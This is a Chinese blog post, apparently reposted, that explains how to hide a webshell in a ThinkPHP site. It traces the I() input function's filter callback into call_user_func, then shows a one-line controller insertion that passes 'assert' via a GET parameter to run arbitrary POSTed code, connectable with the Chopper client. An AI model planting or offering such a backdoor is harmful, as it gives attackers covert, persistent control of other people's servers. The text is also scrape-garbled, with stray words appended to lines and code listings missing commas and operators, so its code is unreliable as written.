ThinkPHP留後門技巧

原文連接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.htmlphp

90sec上有人問,我說了還有小白不會用。去年我審計TP的時候留意到的,乾脆分析一下代碼和操做過程。html

    thinkphp的I函數,是其處理輸入的函數,通常用法爲I('get.id')——從$_GET數組中取出鍵爲id的值,post、cookie相似。web

    let me see see I函數的代碼:正則表達式

01 function I($name$default ''$filter = null, $datas = null)
02 {
03     ...
04  
05     if ('' == $name) {
06         // 獲取所有變量
07         $data    $input;
08         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
09         if ($filters) {
10             if (is_string($filters)) {
11                 $filters explode(','$filters);
12             }
13             foreach ($filters as $filter) {
14                 $data = array_map_recursive($filter$data); // 參數過濾
15             }
16         }
17     elseif (isset($input[$name])) {
18         // 取值操做
19         $data    $input[$name];
20         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
21         if ($filters) {
22             if (is_string($filters)) {
23                 if (0 === strpos($filters'/')) {
24                     if (1 !== preg_match($filters, (string) $data)) {
25                         // 支持正則驗證
26                         return isset($default) ? $default : null;
27                     }
28                 else {
29                     $filters explode(','$filters);
30                 }
31             elseif (is_int($filters)) {
32                 $filters array($filters);
33             }
34  
35             if (is_array($filters)) {
36                 foreach ($filters as $filter) {
37                     if (function_exists($filter)) {
38                         $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 參數過濾
39                     else {
40                         $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
41                         if (false === $data) {
42                             return isset($default) ? $default : null;
43                         }
44                     }
45                 }
46             }
47         }
48     ...
49     return $data;
50 }

    I函數的第三個參數是$filter,做用是對變量的過濾。thinkphp

 

    新版本(3.2.3)中,$filter能夠傳入兩種4種值:shell

    1.一個過濾函數(字符串)數組

    2.一些過濾函數組成的字符串,其間用「|」分割cookie

    3.一些過濾函數的字符串組成的數組ide

    4.以「/」開頭的正則表達式函數

 

    可見代碼,若$filter爲空的話,其默認值爲C('DEFAULT_FILTER')。咱們在配置文件中能夠看到,DEFAULT_FILTER=htmlspecialchars

    convention_php_—_thinkphp.png

    以上4個狀況最後歸爲兩個,1是過濾回調函數,2是過濾的正則。正則部分以下:

1 if (0 === strpos($filters'/')) {
2     if (1 !== preg_match($filters, (string) $data)) {
3         // 支持正則驗證
4         return isset($default) ? $default : null;
5     }
6 }

    若是第0個字符是/,則說明傳入的是正則,用preg_match進行匹配驗證,不匹配則返回默認值$default。

 

    而回調函數部分,是咱們留後門的關鍵。核心是這一段:

01 if (is_array($filters)) {
02     foreach ($filters as $filter) {
03         if (function_exists($filter)) {
04             $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 參數過濾
05         else {
06             $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
07             if (false === $data) {
08                 return isset($default) ? $default : null;
09             }
10         }
11     }
12 }

    若是函數存在,則直接調用array_map_recursive執行。若是函數不存在,則用php默認的過濾器filter_var進行過濾。

 

    咱們跟進array_map_recursive函數:

01 function array_map_recursive($filter$data)
02 {
03     $result array();
04     foreach ($data as $key => $val) {
05         $result[$key] = is_array($val)
06         ? array_map_recursive($filter$val)
07         : call_user_func($filter$val);
08     }
09     return $result;
10 }

    明顯是一個遞歸執行的過程,最後調用的是call_user_func 。

 

    還記得我說過的php回調後門麼(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,竟然給咱們預置了一個回調後門,讓咱們能夠萬分隱蔽的留下webshell。

    因此,咱們只須要隨意找個controller,在可訪問的方法中插入:

1 I('post.90sec''', I('get.i'));

    如上,第三個參數就是剛說的$filter,咱們只須要把回調後門函數名字(assert)做爲第三個參數傳入,便可構造一個回調後門。

 

    我就拿thinkphp默認的IndexController下的index方法示例:

    IndexController_class_php_—_thinkphp.png

    以下便可執行任意代碼:

    phpinfo__.png

    一個回調後門,菜刀也能夠鏈接。

相關文章
相關標籤/搜索